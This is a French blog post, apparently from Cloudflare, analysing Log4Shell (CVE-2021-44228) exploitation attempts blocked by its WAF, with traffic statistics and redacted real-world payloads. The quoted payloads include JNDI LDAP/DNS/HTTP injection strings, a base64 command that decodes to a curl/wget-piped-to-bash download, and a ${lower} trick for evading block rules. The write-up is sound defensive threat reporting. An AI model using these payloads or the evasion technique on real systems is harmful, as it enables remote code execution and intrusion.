J’ai déjà écrit un article expliquant comment atténuer l’impact de CVE-2021-44228 dans Log4j, comment la vulnérabilité est apparue et les mesures d’atténuation prises par Cloudflare pour nos clients. À l’heure où j’écris ces lignes, nous déployons également cette protection pour nos clients souscripteurs de l’offre GRATUITE, en raison de la gravité de la vulnérabilité.
Puisque nous disposons maintenant de nombreuses heures de données relatives aux analyses et aux tentatives d’exploitation de la vulnérabilité, nous pouvons commencer à examiner les charges utiles réelles utilisées dans la nature et les statistiques. Commençons par les requêtes que Cloudflare bloque grâce à son pare-feu WAF.
Nous avons assisté ce matin à une lente augmentation du nombre d’attaques bloquées (les heures sont indiquées au format UTC), le pic le plus important étant survenu vers 18 heures (environ 20 000 requêtes d’exploitation de la vulnérabilité bloquées par minute). Cependant, des analyses ont été effectuées continuellement, tout au long de la journée. Nous pensons qu’elles vont se poursuivre.
Nous avons également examiné le nombre d’adresses IP bloquées par le pare-feu WAF. Entre 200 et 400 adresses IP semblent lancer activement des analyses à tout moment donné.
Jusqu’à présent, aujourd’hui, la plupart des analyses ou tentatives d’exploitation de la vulnérabilité sont lancées depuis le Canada, puis les États-Unis.
Un grand nombre de requêtes bloquées semblent être transmises à des fins de reconnaissance, afin de déterminer si un serveur comporte réellement une vulnérabilité exploitable. La chaîne d’exploitation de la vulnérabilité la plus fréquemment bloquée était la suivante (j’ai effacé les noms de domaine et les adresses IP) :
${jndi:ldap://x.x.x.x/#Touch}
Cette chaîne ressemble à un moyen simple d’attaquer le serveur à l’adresse x.x.x.x, que l’acteur contrôle sans aucun doute, et d’enregistrer dans un fichier journal qu’une propriété Internet est vulnérable. Cela n’apprend pas grand-chose à l’acteur. La deuxième requête la plus fréquemment lancée contenait ceci :
Mozilla/5.0 ${jndi:ldap://x.x.x.x:5555/ExploitD}/ua
Cette chaîne apparaît dans le champ User-Agent de la requête. Remarquez qu’à la fin de l’URI figure l’indication /ua. Il s’agit sans doute d’un indice destiné à l’acteur, indiquant que l’exploitation de la vulnérabilité a fonctionné dans le champ User-Agent.
Une autre charge utile intéressante indique que l’acteur identifie le format efficace (dans ce cas, une requête non chiffrée transmise au port 443), et qu’il essaie d’utiliser http:// :
${jndi:http://x.x.x.x/callback/https-port-443-and-http-callback-scheme}
Quelqu’un a essayé de se faire passer pour le Googlebot et a inclus des informations supplémentaires.
Googlebot/2.1 (+http://www.google.com/bot.html)${jndi:ldap://x.x.x.x:80/Log4jRCE}
Dans le cas suivant, l’acteur a lancé une attaque sur une adresse IP publique de Cloudflare et a encodé cette adresse IP dans la charge utile du code d’exploitation de la vulnérabilité. Il a ainsi pu analyser de nombreuses adresses IP et identifier celles qui étaient vulnérables.
${jndi:ldap://enq0u7nftpr.m.example.com:80/cf-198-41-223-33.cloudflare.com.gu}
Une variante de ce schéma a consisté à inclure le nom du site web attaqué dans la charge utile du code d’exploitation de la vulnérabilité.
${jndi:ldap://www.blogs.example.com.gu.c1me2000ssggnaro4eyyb.example.com/www.blogs.example.com}
Certains acteurs n’ont pas utilisé LDAP, mais ont opté pour DNS. Cependant, LDAP demeure de loin le protocole le plus utilisé.
${jndi:dns://aeutbj.example.com/ext}
Une analyse très intéressante utilisait Java et des outils de ligne de commande standard de Linux. La charge utile se présentait ainsi :
${jndi:ldap://x.x.x.x:12344/Basic/Command/Base64/KGN1cmwgLXMgeC54LngueDo1ODc0L3kueS55Lnk6NDQzfHx3Z2V0IC1xIC1PLSB4LngueC54OjU4NzQveS55LnkueTo0NDMpfGJhc2g=}
La portion codée en base64 est décodée sous la forme d’instructions curl et wget, redirigées vers bash.
(curl -s x.x.x.x:5874/y.y.y.y:443||wget -q -O- x.x.x.x:5874/y.y.y.y:443)|bash
Vous remarquerez que le résultat de l’instruction curl/wget n’est pas nécessaire, et qu’il s’agit simplement d’attaquer un serveur pour indiquer à l’acteur que le code d’exploitation de la vulnérabilité fonctionne.
Enfin, nous constatons des tentatives actives visant à contourner le blocage simpliste de chaînes comme ${jndi:ldap avec d’autres fonctionnalités de Log4j. Par exemple, une technique de contournement courante semble consister à utiliser la fonctionnalité ${lower} (qui convertit les caractères en minuscules), comme ceci :
${jndi:${lower:l}${lower:d}a${lower:p}://example.com/x
En ce moment, il semble que beaucoup d’opérations de reconnaissance soient en cours. Des acteurs, légitimes et malveillants, recherchent les serveurs vulnérables dans le monde entier. À terme, une partie de ces opérations de reconnaissance aboutira à une pénétration réelle des serveurs et des entreprises. Et parce que la journalisation est si profondément intégrée aux systèmes front-end et back-end, certaines de ces opérations ne seront pas visibles avant plusieurs heures ou jours.
À l’image de spores qui se développent silencieusement sous terre, certaines d’entre elles émergeront du sol et apparaîtront à la lumière.
Les équipes de sécurité de Cloudflare travaillent continuellement, tandis que les tentatives d’exploitation de la vulnérabilité évoluent, et mettront à jour les règles du pare-feu WAF et de pare-feu, selon le besoin.